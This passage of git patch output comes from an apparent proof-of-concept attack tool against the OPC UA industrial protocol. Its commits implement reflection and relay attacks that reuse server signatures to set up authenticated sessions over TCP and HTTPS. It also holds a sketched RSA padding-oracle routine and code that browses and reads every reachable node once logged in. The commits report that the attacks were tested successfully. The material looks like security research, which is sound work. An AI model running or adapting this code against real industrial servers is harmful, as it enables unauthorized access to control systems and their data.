return query_padding_oracle(endpoint, cand_bytes, rstate) + +# # Step 1: blinding. Find a random blind that makes the padding valid. Searching can be skipped if the ciphertext +# # already has valid padding. +# if query(c): +# s0 = 1 +# c0 = c +# else: +# for _ in range(1, MAX_PADDINGORACLE_ITERATIONS): +# s0 = randint(1, 2**k) +# c0 = c * pow(s0, e, n) % n +# if query(c0): +# break + +# intervals = [(2 * B, 3 * B - 1)] + +# for i in range(1, MAX_PADDINGORACLE_ITERATIONS): +# # Step 2: searching for PKCS#1 conforming messages. +# if i == 1: +# s = n // (3*B) + (1 if n % (3*B) else 0) +# while not query(c0 * pow(s0, e, n) % n): +# s += 1 +# elif len(intervals) > 1: +# s += 1 +# while not query(c0 * pow(s0, e, n) % n): +# s += 1 +# else: +# [(a, b)] = intervals +# rstart = (2 * b * s - 2 * B) // n + 1 +# .... + + \ No newline at end of file diff --git a/crypto.py b/crypto.py index 36405e6..6494527 100644 --- a/crypto.py +++ b/crypto.py @@ -147,4 +147,12 @@ def macsize(policy : SecurityPolicy) -> int: SecurityPolicy.AES128_SHA256_RSAOAEP : 32, SecurityPolicy.BASIC256SHA256 : 32, SecurityPolicy.AES256_SHA256_RSAPSS : 32, - }[policy] \ No newline at end of file + }[policy] + +# def certificate_thumbprint(cert : bytes) -> bytes: +# # Computes a certificate thumbprint as used in the protocol. +# .... # TODO + +# def certificate_rsakey(cert : bytes) -> (int, int): +# # Extracts and parses an RSA public key from a certificate, as (m, e) integers. +# .... # TODO \ No newline at end of file diff --git a/message_fields.py b/message_fields.py index 6a23b1a..898dfa8 100644 --- a/message_fields.py +++ b/message_fields.py @@ -19,7 +19,7 @@ class DecodeError(Exception): pass -# Thrown when an unexpected OPC error message is encountered. +# Thrown by from_bytes when an unexpected OPC error message is encountered. class ServerError(Exception): def __init__(self, errorcode, reason): super().__init__(f'Server error {hex(errorcode)}: "{reason}"') @@ -386,7 +386,7 @@ def from_bytes(self, bytestr): serviceResult, todo = IntField().from_bytes(todo) raise ServerError(serviceResult, f'Unexpected ServiceFault.') - decodecheck(objectId == self._id, 'EncodableObjectField identifier does not match expectation.') + decodecheck(objectId == self._id, f'EncodableObjectField identifier incorrect. Expected: {self._id}; got: {objectId}') result, tail = super().from_bytes(bytestr) return result, tail diff --git a/messages.py b/messages.py index e852936..b14259d 100644 --- a/messages.py +++ b/messages.py @@ -40,6 +40,8 @@ def to_bytes(self, chunksize : int = -1) -> bytes: return b''.join(mtype + b'C' + chunk for chunk in bodychunks[:-1]) + mtype + b'F' + bodychunks[-1] def from_bytes(self, reader : BinaryIO): + # Note: when this throws a ServerError the message is still consumed in its entirety from the reader. + mtype = reader.read(3) decodecheck(mtype == self.messagetype.encode() or mtype == b'ERR', 'Unexpected message type') From 2d473dfa1a3b970465bf85706ceb3ad4f1c28673 Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Mon, 11 Mar 2024 14:02:25 +0100 Subject: [PATCH 06/70] Reflect/relay against HTTPS transport. --- attacks.py | 189 +++++++++++++++++++++++++++++++++------------------ opcattack.py | 10 +-- 2 files changed, 129 insertions(+), 70 deletions(-) diff --git a/attacks.py b/attacks.py index 101555a..c46d73e 100644 --- a/attacks.py +++ b/attacks.py @@ -1,3 +1,5 @@ +import requests + from messages import * from message_fields import * from typing import * @@ -21,12 +23,29 @@ def log_success(msg : str): class AttackNotPossible(Exception): pass +# Protocols supported for current attacks. +class TransportProtocol(Enum): + TCP_BINARY = auto() + HTTPS = auto() + +def proto_scheme(protocol : TransportProtocol) -> str: + return { + TransportProtocol.TCP_BINARY: "opc.tcp", + TransportProtocol.HTTPS : "https", + }[protocol] + def parse_endpoint_url(url): - m = re.match(r'opc\.tcp://(?P[^:/]+):(?P\d+)/', url) + m = re.match(r'(?P[\w.]+)://(?P[^:/]+):(?P\d+)/', url) if not m: raise Exception(f'Don\'t know how to process endpoint url: {url}') else: - return m.group('host', 'port') + protos = { + "opc.tcp": TransportProtocol.TCP_BINARY, + "https" : TransportProtocol.HTTPS, + } + if m.group('scheme') not in protos: + raise Exception(f'Unsupported protocol: "{m.group("scheme")}" in URL {url}.') + return (protos[m.group('scheme')], **m.group('host', 'port')) # Common routines. @@ -38,8 +57,9 @@ def opc_exchange(sock : socket, request : OpcMessage, response_obj : Optional[Op response = response_obj or request.__class__() response.from_bytes(sockio) return response - -# Sets up the connection, does a plain hello and simply ignores the server's size and chunking wishes. + + +# Sets up a binary TCP connection, does a plain hello and simply ignores the server's size and chunking wishes. def connect_and_hello(host : str, port : int) -> socket: sock = create_connection((host,port)) opc_exchange(sock, HelloMessage( @@ -145,45 +165,65 @@ def session_exchange(channel : ChannelState, resp, _ = respfield.from_bytes(convo.requestOrResponse) return resp -# Protocols supported for current attacks. -class TransportProtocol(Enum): - TCP_BINARY = auto() - HTTPS = auto() - -# def proto_scheme(protocol : TransportProtocol) -> str: - +# OPC exchange over HTTPS. +# https://reference.opcfoundation.org/Core/Part6/v105/docs/7.4 +def https_exchange( + url : str, nonce_policy : Optional[SecurityPolicy], + reqfield : EncodableObjectField, respfield : EncodableObjectField, + **req_data + ) -> NamedTuple: + headers = { + 'Content-Type': 'application/octet-stream', + } + if nonce_policy is not None: + headers['OPCUA-SecurityPolicy'] = nonce_policy.value + + reqbody = reqfield.to_bytes(reqfield.create(**req_data)) + http_resp = requests.post(url, verify=False, headers=headers, data=reqbody) + return respfield.from_bytes(http_resp.content) -# Relevant endpoint information. -@dataclass -class EndpointInfo: - host : str - port : int - certificate : bytes - policy : SecurityPolicy - mode : MessageSecurityMode - accepts_certauth : bool +# Picks either session_exchange or https_exchanged based on channel type. +def generic_exchange( + chan_or_url : ChannelState | str, nonce_policy : Optional[SecurityPolicy], + reqfield : EncodableObjectField, respfield : EncodableObjectField, + **req_data + ) -> NamedTuple: + if type(chan_or_url) == ChannelState: + return session_exchange(chan_or_url, reqfield, respfield, **req_data) + else: + assert type(chan_or_url) == str and chan_or_url.startswith('https://') + return https_exchange(chan_or_url, nonce_policy, reqfield, respfield, **req_data) # Request endpoint information from a server. -def get_endpoints(protocol : TransportProtocol, host : str, port: int) -> List[EndpointInfo]: - with connect_and_hello(host, port) as sock: - chan = unencrypted_opn(sock) - resp = session_exchange(chan, getEndpointsRequest, getEndpointsResponse, - requestHeader=simple_requestheader(), - endpointUrl=f'opc.tcp://{host}:{port}', - localeIds=[], - profileUris=[], +def get_endpoints(ep_url : str) -> List[endpointDescription.Type]: + if ep_url.startswith('opc.tcp://'): + with connect_and_hello(protocol, host, port) as sock: + chan = unencrypted_opn(sock) + resp = session_exchange(chan, getEndpointsRequest, getEndpointsResponse, + requestHeader=simple_requestheader(), + endpointUrl=ep_url, + localeIds=[], + profileUris=[], + ) + else: + assert(ep_url.startswith('https://')) + resp = https_exchange(f'{ep_url.rstrip("/")}/discovery', None, getEndpointsRequest, getEndpointsResponse, + requestHeader=simple_requestheader(), + endpointUrl=ep_url, + localeIds=[], + profileUris=[], ) - # Only return endpoints that use the binary protocol. - return [ep for ep in resp.endpoints if ep.transportProfileUri.endswith('uabinary')] + return resp.endpoints +# Performs the relay attack. Channels can be either OPC sessions or HTTPS URLs. def execute_relay_attack( - imp_chan : ChannelState, imp_endpoint : endpointDescription.Type, - login_chan : ChannelState, login_endpoint : endpointDescription.Type + imp_chan : ChannelState | str, imp_endpoint : endpointDescription.Type, + login_chan : ChannelState | str, login_endpoint : endpointDescription.Type ) -> NodeId: def csr(chan, client_ep, server_ep, nonce): - return session_exchange(chan, createSessionRequest, createSessionResponse, + return generic_exchange(chan, server_ep.securityPolicyUri, createSessionRequest, createSessionResponse, requestHeader=simple_requestheader(), clientDescription=client_ep.server, serverUri=server_ep.server.applicationUri, @@ -223,7 +263,7 @@ def csr(chan, client_ep, server_ep, nonce): raise AttackNotPossible('Endpoint does not allow either anonymous or certificate-based authentication.') # Now activate the first session using the signature from the second session. - session_exchange(login_chan, activateSessionRequest, activateSessionResponse, + generic_exchange(login_chan, login_endpoint.securityPolicyUri, activateSessionRequest, activateSessionResponse, requestHeader=simple_requestheader(createresp1.authenticationToken), clientSignature=createresp2.serverSignature, clientSoftwareCertificates=[], @@ -237,14 +277,14 @@ def csr(chan, client_ep, server_ep, nonce): # Demonstrate access by recursively browsing nodes. Variables are read. # Based on https://reference.opcfoundation.org/Core/Part4/v104/docs/5.8.2 -def demonstrate_access(chan : ChannelState, authToken : NodeId): +def demonstrate_access(chan : ChannelState | str, authToken : NodeId): max_children = 100 recursive_nodeclasses = {NodeClass.OBJECT} read_nodeclasses = {NodeClass.VARIABLE} print(repr(viewDescription.default_value)) def browse_from(root, depth): - bresp = session_exchange(chan, browseRequest, browseResponse, + bresp = generic_exchange(chan, None, browseRequest, browseResponse, requestHeader=simple_requestheader(authToken), view=viewDescription.default_value, requestedMaxReferencesPerNode=max_children, @@ -292,51 +332,70 @@ def browse_from(root, depth): log('Tree: ') log_success('+ ') browse_from(NodeId(0, 84), 1) - log('Finished browsing.') - + log('Finished browsing.') # Reflection attack: log in to a server with its own identity. -def reflect_attack(address : Tuple[str, int]): - host, port = address - log(f'Attempting reflection attack against opc.tcp://{host}:port/') - endpoints = get_endpoints(host, port) +def reflect_attack(url : str): + proto, host, port = parse_endpoint_url(url) + log(f'Attempting reflection attack against {url}') + endpoints = get_endpoints(proto, host, port) log(f'Server advertises {len(endpoints)} endpoints.') - # Try attack against first endpoint with a NONE policy. - none_eps = [ep for ep in endpoints if ep.securityPolicyUri == SecurityPolicy.NONE] - if none_eps: - target = none_eps[0] - thost, tport = parse_endpoint_url(target.endpointUrl) - log(f'Targeting {thost}:{tport} with NONE security policy.') - with connect_and_hello(thost, tport) as sock1, connect_and_hello(thost, tport) as sock2: - mainchan, oraclechan = unencrypted_opn(sock1), unencrypted_opn(sock2) - token = execute_relay_attack(oraclechan, target, mainchan, target) - log_success(f'Attack succesfull! Authenticated session set up with {target.endpointUrl}.') - demonstrate_access(mainchan, token) + # Try to attack against the first endpoint with an HTTPS transport and a non-None security policy. + https_eps = [ep for ep in endpoints if ep.securityPolicyUri != SecurityPolicy.NONE and ep.transportProfileUri.endswith('https-uabinary')] + if https_eps: + target = https_eps[0] + tproto, thost, tport = parse_endpoint_url(target.endpointUrl) + assert tproto == TransportProtocol.HTTPS + log(f'Targeting {target.endpointUrl} with {target.securityPolicyUri.name} security policy.') + # with connect_and_hello(thost, tport) as sock1, connect_and_hello(thost, tport) as sock2: + # mainchan, oraclechan = unencrypted_opn(sock1), unencrypted_opn(sock2) + token = execute_relay_attack(target.endpointUrl, target, target.endpointUrl, target) + log_success(f'Attack succesfull! Authenticated session set up with {target.endpointUrl}.') + demonstrate_access(mainchan, token) else: raise AttackNotPossible('TODO: implement combination with OPN attack.') -def relay_attack(source : Tuple[str, int], target : Tuple[str, int]): - a2url = lambda addr: f'opc.tcp://{":".join(addr)}/' - log(f'Attempting relay from {a2url(source)} to {a2url(target)}') +def relay_attack(source_url : str, target_url : str): + log(f'Attempting relay from {source_url} to {target_url}') seps = get_endpoints(*source) log(f'Listed {len(seps)} endpoints from {a2url(source)}.') teps = get_endpoints(*target) log(f'Listed {len(teps)} endpoints from {a2url(target)}.') - for sep, tep in itertools.product(seps, teps): - if sep.securityPolicyUri == tep.securityPolicyUri == SecurityPolicy.NONE: - log(f'Trying endpoints {sep.endpointUrl} -> {tep.endpointUrl} (both NONE security policy)') - shost, sport = parse_endpoint_url(sep.endpointUrl) - thost, tport = parse_endpoint_url(tep.endpointUrl) - with connect_and_hello(shost, sport) as ssock, connect_and_hello(thost, tport) as tsock: - mainchan, oraclechan = unencrypted_opn(tsock), unencrypted_opn(ssock) + # Prioritize HTTPS targets with a non-NONE security policy. + sort(teps, key=lambda ep: [not ep.transportProfileUri.endswith('https-uabinary'), spe.securityPolicyUri == SecurityPolicy.NONE]) + + tmpsock = None + try: + for sep, tep in itertools.product(seps, teps): + # Source must be HTTPS and non-NONE. + if sep.transportProfileUri.endswith('https-uabinary') and spe.securityPolicyUri != SecurityPolicy.NONE: + oraclechan = sep.endpointUrl + + if tep.transportProfileUri.endswith('https-uabinary'): + # HTTPS target. + mainchan = tep.endpointUrl + elif tep.transportProfileUri.endswith('uatcp-uasc-uabinary') and tep.securityPolicyUri == SecurityPolicy.NONE: + # When only a TCP target is available we can still try to spoof a user cert. + _, thost, tport = parse_endpoint_url(tep.endpointUrl) + tmpsock = connect_and_hello(thost, tport) + mainchan = unencrypted_opn(tmpsock) + else: + continue + + log(f'Trying endpoints {sep.endpointUrl} ({sep.securityPolicyUri.name})-> {tep.endpointUrl} ({sep.securityPolicyUri.name})') token = execute_relay_attack(oraclechan, sep, mainchan, tep) log_success(f'Attack succesfull! Authenticated session set up with {tep.endpointUrl}.') demonstrate_access(mainchan, token) return - - raise AttackNotPossible('TODO: implement combination with OPN attack.') + + raise AttackNotPossible('TODO: implement combination with OPN attack.') + finally: + if tmpsock: + tmpsock.shutdown(socket.SHUT_RDWR) + tmpsock.close() + diff --git a/opcattack.py b/opcattack.py index bd19782..4324920 100755 --- a/opcattack.py +++ b/opcattack.py @@ -84,13 +84,13 @@ def add_arguments(self, aparser): aparser.add_argument('-k', '--opn-key', type=FileType('r'), help='private key (PEM encoded) associated with --opn-cert certificate') - aparser.add_argument('address', metavar='host:port', - help='Target server address', + aparser.add_argument('url', + help='Target server OPC URL (either opc.tcp or https protocol)', type=address_arg) def execute(self, args): # TODO: OPN/cert options - reflect_attack(args.address) + reflect_attack(args.url) class RelayAttack(Attack): subcommand = 'relay' @@ -120,10 +120,10 @@ def add_arguments(self, aparser): help='private key (PEM encoded) associated with --opn-cert certificate') aparser.add_argument('server-a', - help='host:port of the server of which to spoof the identity', + help='OPC URL of the server of which to spoof the identity', type=address_arg) aparser.add_argument('server-b', - help='host:port of the server on which to log in asserver-a', + help='OPC URL of the server on which to log in asserver-a', type=address_arg) def execute(self, args): From fbe8cf43a026175c6bcde8fa89161daee658bcf2 Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Mon, 11 Mar 2024 15:08:43 +0100 Subject: [PATCH 07/70] Succesfully tested HTTPS-based reflection attack. --- attacks.py | 59 ++++++++++++++++++++++++++++------------------- message_fields.py | 45 +++++++++++++++++++++--------------- opcattack.py | 15 ++++++------ 3 files changed, 68 insertions(+), 51 deletions(-) diff --git a/attacks.py b/attacks.py index c46d73e..fb01693 100644 --- a/attacks.py +++ b/attacks.py @@ -1,4 +1,5 @@ import requests +requests.packages.urllib3.disable_warnings() from messages import * from message_fields import * @@ -8,6 +9,7 @@ from socket import socket, create_connection from random import randint from enum import Enum, auto +from binascii import unhexlify import sys, os, itertools, re @@ -45,7 +47,7 @@ def parse_endpoint_url(url): } if m.group('scheme') not in protos: raise Exception(f'Unsupported protocol: "{m.group("scheme")}" in URL {url}.') - return (protos[m.group('scheme')], **m.group('host', 'port')) + return (protos[m.group('scheme')], *m.group('host', 'port')) # Common routines. @@ -176,11 +178,11 @@ def https_exchange( 'Content-Type': 'application/octet-stream', } if nonce_policy is not None: - headers['OPCUA-SecurityPolicy'] = nonce_policy.value + headers['OPCUA-SecurityPolicy'] = f'http://opcfoundation.org/UA/SecurityPolicy#{nonce_policy.value}' reqbody = reqfield.to_bytes(reqfield.create(**req_data)) http_resp = requests.post(url, verify=False, headers=headers, data=reqbody) - return respfield.from_bytes(http_resp.content) + return respfield.from_bytes(http_resp.content)[0] # Picks either session_exchange or https_exchanged based on channel type. def generic_exchange( @@ -277,14 +279,13 @@ def csr(chan, client_ep, server_ep, nonce): # Demonstrate access by recursively browsing nodes. Variables are read. # Based on https://reference.opcfoundation.org/Core/Part4/v104/docs/5.8.2 -def demonstrate_access(chan : ChannelState | str, authToken : NodeId): +def demonstrate_access(chan : ChannelState | str, authToken : NodeId, policy : SecurityPolicy = None): max_children = 100 recursive_nodeclasses = {NodeClass.OBJECT} read_nodeclasses = {NodeClass.VARIABLE} - print(repr(viewDescription.default_value)) def browse_from(root, depth): - bresp = generic_exchange(chan, None, browseRequest, browseResponse, + bresp = generic_exchange(chan, policy, browseRequest, browseResponse, requestHeader=simple_requestheader(authToken), view=viewDescription.default_value, requestedMaxReferencesPerNode=max_children, @@ -304,11 +305,11 @@ def browse_from(root, depth): if ref.nodeClass in recursive_nodeclasses: # Keep browsing recursively. log_success(tree_prefix + f'+ {ref.displayName.text} ({ref.nodeClass.name})') - browse_from(ref.nodeId.nodeId) + browse_from(ref.nodeId.nodeId, depth + 1) elif ref.nodeClass in read_nodeclasses: # Read current variable value. For the sake of simplicity do one at a time. try: - readresp = session_exchange(chan, readRequest, readResponse, + readresp = generic_exchange(chan, policy, readRequest, readResponse, requestHeader=simple_requestheader(authToken), maxAge=0, timestampsToReturn=TimestampsToReturn.BOTH, @@ -316,12 +317,23 @@ def browse_from(root, depth): nodeId=ref.nodeId.nodeId, attributeId=0x0d, # Request value indexRange=None, - dataEncoding=QualifiedNameField.default_value, + dataEncoding=QualifiedNameField().default_value, )], ) - log_success(tree_prefix + f'- {ref.displayName.text}: "{readresp.value}"') + + for r in readresp.results: + if type(r.value) == list: + log_success(tree_prefix + f'+ {ref.displayName.text} (Array):') + for subval in r.value: + log_success(' ' + tree_prefix + f'+ {ref.displayName.text}: "{subval}"') + else: + log_success(tree_prefix + f'- {ref.displayName.text}: "{r.value}"') except UnsupportedFieldException as ex: log_success(tree_prefix + f'- {ref.displayName.text}: <{ex.fieldname}>') + except DecodeError as ex: + log_success(tree_prefix + f'- {ref.displayName.text}: ') + except Exception as ex: + log_success(tree_prefix + f'- {ref.displayName.text}: <{type(ex)}>') else: log_success(tree_prefix + f'- {ref.displayName.text} ({ref.nodeClass.name})') @@ -338,7 +350,7 @@ def browse_from(root, depth): def reflect_attack(url : str): proto, host, port = parse_endpoint_url(url) log(f'Attempting reflection attack against {url}') - endpoints = get_endpoints(proto, host, port) + endpoints = get_endpoints(url) log(f'Server advertises {len(endpoints)} endpoints.') # Try to attack against the first endpoint with an HTTPS transport and a non-None security policy. @@ -347,24 +359,23 @@ def reflect_attack(url : str): target = https_eps[0] tproto, thost, tport = parse_endpoint_url(target.endpointUrl) assert tproto == TransportProtocol.HTTPS - log(f'Targeting {target.endpointUrl} with {target.securityPolicyUri.name} security policy.') - # with connect_and_hello(thost, tport) as sock1, connect_and_hello(thost, tport) as sock2: - # mainchan, oraclechan = unencrypted_opn(sock1), unencrypted_opn(sock2) - token = execute_relay_attack(target.endpointUrl, target, target.endpointUrl, target) - log_success(f'Attack succesfull! Authenticated session set up with {target.endpointUrl}.') - demonstrate_access(mainchan, token) + url = target.endpointUrl + log(f'Targeting {url} with {target.securityPolicyUri.name} security policy.') + token = execute_relay_attack(url, target, url, target) + log_success(f'Attack succesfull! Authenticated session set up with {url}.') + demonstrate_access(url, token, target.securityPolicyUri) else: raise AttackNotPossible('TODO: implement combination with OPN attack.') def relay_attack(source_url : str, target_url : str): log(f'Attempting relay from {source_url} to {target_url}') - seps = get_endpoints(*source) - log(f'Listed {len(seps)} endpoints from {a2url(source)}.') - teps = get_endpoints(*target) - log(f'Listed {len(teps)} endpoints from {a2url(target)}.') + seps = get_endpoints(source_url) + log(f'Listed {len(seps)} endpoints from {a2url(source_url)}.') + teps = get_endpoints(target_url) + log(f'Listed {len(teps)} endpoints from {a2url(target_url)}.') # Prioritize HTTPS targets with a non-NONE security policy. - sort(teps, key=lambda ep: [not ep.transportProfileUri.endswith('https-uabinary'), spe.securityPolicyUri == SecurityPolicy.NONE]) + sort(teps, key=lambda ep: [not ep.transportProfileUri.endswith('https-uabinary'), ep.securityPolicyUri == SecurityPolicy.NONE]) tmpsock = None try: @@ -384,10 +395,10 @@ def relay_attack(source_url : str, target_url : str): else: continue - log(f'Trying endpoints {sep.endpointUrl} ({sep.securityPolicyUri.name})-> {tep.endpointUrl} ({sep.securityPolicyUri.name})') + log(f'Trying endpoints {sep.endpointUrl} ({sep.securityPolicyUri.name})-> {tep.endpointUrl} ({tep.securityPolicyUri.name})') token = execute_relay_attack(oraclechan, sep, mainchan, tep) log_success(f'Attack succesfull! Authenticated session set up with {tep.endpointUrl}.') - demonstrate_access(mainchan, token) + demonstrate_access(mainchan, token, tep.securityPolicyUri) return raise AttackNotPossible('TODO: implement combination with OPN attack.') diff --git a/message_fields.py b/message_fields.py index 898dfa8..1db0673 100644 --- a/message_fields.py +++ b/message_fields.py @@ -299,13 +299,13 @@ def to_bytes(self, value): def from_bytes(self, bytestr): mask, todo = bytestr[0], bytestr[1:] nodeId, todo = NodeIdField().from_bytes(bytes([mask & 0x0f]) + todo) - result = ExpandedNodeIdField(nodeId, None, None) + result = ExpandedNodeId(nodeId, None, None) if mask & 0x80: result.namespaceUri, todo = StringField().from_bytes(todo) if mask & 0x40: result.serverIndex, todo = IntField().from_bytes(todo) - return result + return result, todo class LocalizedTextField(FieldType[LocalizedText]): _strfield = StringField() @@ -420,23 +420,23 @@ def from_bytes(self, bytestr): class SwitchableObjectField(FieldType[NamedTuple]): # Object that starts with (byte-aligned) mask of which of its fields are present. def __init__(self, name : str, bodyfields : list[tuple[str, FieldType, int]]): - self._bodyfields = bodyfields + self._fieldtypes = [(fname, ftype) for fname, ftype, _ in bodyfields] self._Body = namedtuple(name, [fname for fname, _, _ in bodyfields]) self._masksize = len(bodyfields) + (8 - len(bodyfields) % 8 if len(bodyfields) % 8 else 0) self._maskindices = {fname: index for fname, _, index in bodyfields} @property def default_value(self): - return self._Body(**{fname: None for fname, _ in self._bodyfields}) + return self._Body(**{fname: None for fname, _ in self._fieldtypes}) def to_bytes(self, value): mask = 0 bodybytes = b'' - for fname, ftype in self._bodyfields: + for fname, ftype in self._fieldtypes: element = getattr(value, fname) if element is not None: - mask |= 1 << (self._masksize - self._maskindices[fname]) + mask |= 1 << self._maskindices[fname] bodybytes += ftype.to_bytes(element) maskbytes = bytes(((mask >> i) % 256 for i in range(0, self._masksize, 8))) @@ -444,21 +444,21 @@ def to_bytes(self, value): def from_bytes(self, bytestr): mask = 0 - for maskbyte in bytestr[:self._masksize]: + for maskbyte in bytestr[:self._masksize // 8]: mask *= 256 mask += maskbyte - todo = bytestr[self._masksize:] + todo = bytestr[self._masksize // 8:] - result = self._Body() - for fname, ftype in self._bodyfields: - if (mask >> (self._masksize - self._maskindices[fname])) & 1: + attributes = {} + for fname, ftype in self._fieldtypes: + if (mask >> self._maskindices[fname]) & 1: bodyval, todo = ftype.from_bytes(todo) else: bodyval = None - setattr(result, fname, bodyval) - - return result, todo + attributes[fname] = bodyval + + return self._Body(**attributes), todo class BooleanField(TransformedFieldType[int, bool]): def __init__(self): @@ -612,15 +612,22 @@ def to_bytes(self, value): def from_bytes(self, bytestr): mask, todo = bytestr[0], bytestr[1:] - identifier = mask >> 2 + identifier = mask & 0b00111111 decodecheck(identifier in VariantField._TYPE_IDS) - decodecheck(mask & 0b00000010 != 0, 'Variant array dimensions not supported.') fieldType = VariantField._TYPE_IDS[identifier] - if mask & 0b00000001: - return ArrayField(fieldType).from_bytes(todo) + if mask & 0b10000000: + result, todo = ArrayField(fieldType).from_bytes(todo) else: - return fieldType.from_bytes(todo) + result, todo = fieldType.from_bytes(todo) + + if mask & 0b01000000: + # For now, just drop dimension info and return flattened array. + dimensions, todo = IntField().from_bytes(todo) + for _ in range(0, dimensions): + _, todo = IntField().from_bytes(todo) + + return result, todo VariantField._TYPE_IDS[24] = DataValueField() diff --git a/opcattack.py b/opcattack.py index 4324920..76e1339 100755 --- a/opcattack.py +++ b/opcattack.py @@ -10,10 +10,6 @@ Proof of concept tool for attacks against the OPC UA security protocol. """.strip() -def address_arg(addr_string): - [host, port] = addr_string.split(':') - return host, int(port) - class Attack(ABC): """Base class for OPC attack defintions.""" @@ -86,7 +82,7 @@ def add_arguments(self, aparser): aparser.add_argument('url', help='Target server OPC URL (either opc.tcp or https protocol)', - type=address_arg) + type=str) def execute(self, args): # TODO: OPN/cert options @@ -121,10 +117,10 @@ def add_arguments(self, aparser): aparser.add_argument('server-a', help='OPC URL of the server of which to spoof the identity', - type=address_arg) + type=str) aparser.add_argument('server-b', help='OPC URL of the server on which to log in asserver-a', - type=address_arg) + type=str) def execute(self, args): # TODO: OPN/cert options @@ -197,7 +193,10 @@ def main(): # Parse args and execute attack. args = aparser.parse_args() - args.attack_obj.execute(args) + try: + args.attack_obj.execute(args) + except AttackNotPossible as ex: + print(f'[-] Attack failed: {ex}') if __name__ == '__main__': From 898bec1d9f0bd41c5fb9f1de62622b722d2202df Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Mon, 11 Mar 2024 15:42:42 +0100 Subject: [PATCH 08/70] Relay attack is also working now. --- attacks.py | 46 +++++++++++++++++++++++++++++----------------- opcattack.py | 29 +++++++++++++++++++---------- 2 files changed, 48 insertions(+), 27 deletions(-) diff --git a/attacks.py b/attacks.py index fb01693..7d5611f 100644 --- a/attacks.py +++ b/attacks.py @@ -6,7 +6,7 @@ from typing import * from crypto import * from datetime import datetime -from socket import socket, create_connection +from socket import socket, create_connection, SHUT_RDWR from random import randint from enum import Enum, auto from binascii import unhexlify @@ -37,7 +37,7 @@ def proto_scheme(protocol : TransportProtocol) -> str: }[protocol] def parse_endpoint_url(url): - m = re.match(r'(?P[\w.]+)://(?P[^:/]+):(?P\d+)/', url) + m = re.match(r'(?P[\w.]+)://(?P[^:/]+):(?P\d+)', url) if not m: raise Exception(f'Don\'t know how to process endpoint url: {url}') else: @@ -199,7 +199,8 @@ def generic_exchange( # Request endpoint information from a server. def get_endpoints(ep_url : str) -> List[endpointDescription.Type]: if ep_url.startswith('opc.tcp://'): - with connect_and_hello(protocol, host, port) as sock: + _, host, port = parse_endpoint_url(ep_url) + with connect_and_hello(host, port) as sock: chan = unencrypted_opn(sock) resp = session_exchange(chan, getEndpointsRequest, getEndpointsResponse, requestHeader=simple_requestheader(), @@ -222,7 +223,8 @@ def get_endpoints(ep_url : str) -> List[endpointDescription.Type]: # Performs the relay attack. Channels can be either OPC sessions or HTTPS URLs. def execute_relay_attack( imp_chan : ChannelState | str, imp_endpoint : endpointDescription.Type, - login_chan : ChannelState | str, login_endpoint : endpointDescription.Type + login_chan : ChannelState | str, login_endpoint : endpointDescription.Type, + prefer_certauth : bool = False ) -> NodeId: def csr(chan, client_ep, server_ep, nonce): return generic_exchange(chan, server_ep.securityPolicyUri, createSessionRequest, createSessionResponse, @@ -249,7 +251,7 @@ def csr(chan, client_ep, server_ep, nonce): # Make a token with an anonymous or certificate-based user identity policy. anon_policies = [p for p in login_endpoint.userIdentityTokens if p.tokenType == UserTokenType.ANONYMOUS] cert_policies = [p for p in login_endpoint.userIdentityTokens if p.tokenType == UserTokenType.CERTIFICATE] - if anon_policies: + if anon_policies and not (prefer_certauth and cert_policies): usertoken = anonymousIdentityToken.create(policyId=anon_policies[0].policyId) usersig = signatureData.create(algorithm=None,signature=None) elif cert_policies: @@ -347,7 +349,7 @@ def browse_from(root, depth): log('Finished browsing.') # Reflection attack: log in to a server with its own identity. -def reflect_attack(url : str): +def reflect_attack(url : str, demo : bool): proto, host, port = parse_endpoint_url(url) log(f'Attempting reflection attack against {url}') endpoints = get_endpoints(url) @@ -363,48 +365,58 @@ def reflect_attack(url : str): log(f'Targeting {url} with {target.securityPolicyUri.name} security policy.') token = execute_relay_attack(url, target, url, target) log_success(f'Attack succesfull! Authenticated session set up with {url}.') - demonstrate_access(url, token, target.securityPolicyUri) + if demo: + demonstrate_access(url, token, target.securityPolicyUri) else: raise AttackNotPossible('TODO: implement combination with OPN attack.') -def relay_attack(source_url : str, target_url : str): +def relay_attack(source_url : str, target_url : str, demo : bool): log(f'Attempting relay from {source_url} to {target_url}') seps = get_endpoints(source_url) - log(f'Listed {len(seps)} endpoints from {a2url(source_url)}.') + log(f'Listed {len(seps)} endpoints from {source_url}.') teps = get_endpoints(target_url) - log(f'Listed {len(teps)} endpoints from {a2url(target_url)}.') + log(f'Listed {len(teps)} endpoints from {target_url}.') # Prioritize HTTPS targets with a non-NONE security policy. - sort(teps, key=lambda ep: [not ep.transportProfileUri.endswith('https-uabinary'), ep.securityPolicyUri == SecurityPolicy.NONE]) + teps.sort(key=lambda ep: [not ep.transportProfileUri.endswith('https-uabinary'), ep.securityPolicyUri == SecurityPolicy.NONE]) tmpsock = None + prefercert = False try: for sep, tep in itertools.product(seps, teps): # Source must be HTTPS and non-NONE. - if sep.transportProfileUri.endswith('https-uabinary') and spe.securityPolicyUri != SecurityPolicy.NONE: + if sep.transportProfileUri.endswith('https-uabinary') and sep.securityPolicyUri != SecurityPolicy.NONE: oraclechan = sep.endpointUrl + supports_usercert = any(p.tokenType == UserTokenType.CERTIFICATE for p in tep.userIdentityTokens) if tep.transportProfileUri.endswith('https-uabinary'): # HTTPS target. mainchan = tep.endpointUrl - elif tep.transportProfileUri.endswith('uatcp-uasc-uabinary') and tep.securityPolicyUri == SecurityPolicy.NONE: + elif tep.transportProfileUri.endswith('uatcp-uasc-uabinary') and tep.securityPolicyUri == SecurityPolicy.NONE and supports_usercert: # When only a TCP target is available we can still try to spoof a user cert. _, thost, tport = parse_endpoint_url(tep.endpointUrl) tmpsock = connect_and_hello(thost, tport) mainchan = unencrypted_opn(tmpsock) + prefercert = True else: continue log(f'Trying endpoints {sep.endpointUrl} ({sep.securityPolicyUri.name})-> {tep.endpointUrl} ({tep.securityPolicyUri.name})') - token = execute_relay_attack(oraclechan, sep, mainchan, tep) + token = execute_relay_attack(oraclechan, sep, mainchan, tep, prefercert) log_success(f'Attack succesfull! Authenticated session set up with {tep.endpointUrl}.') - demonstrate_access(mainchan, token, tep.securityPolicyUri) + if demo: + demonstrate_access(mainchan, token, tep.securityPolicyUri) return raise AttackNotPossible('TODO: implement combination with OPN attack.') + except ServerError as err: + if err.errorcode == 